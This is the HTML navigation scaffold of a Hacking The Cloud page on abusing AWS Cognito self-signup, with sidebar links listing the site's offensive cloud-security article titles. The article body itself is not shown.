aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-it-works class=md-nav__link> <span class=md-ellipsis> How it works </span> </a> <nav class=md-nav aria-label="How it works"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#web-applications class=md-nav__link> <span class=md-ellipsis> Web applications: </span> </a> </li> <li class=md-nav__item> <a href=#mobile-applications class=md-nav__link> <span class=md-ellipsis> Mobile applications: </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#exploitation class=md-nav__link> <span class=md-ellipsis> Exploitation </span> </a> </li> <li class=md-nav__item> <a href=#impact class=md-nav__link> <span class=md-ellipsis> Impact </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input 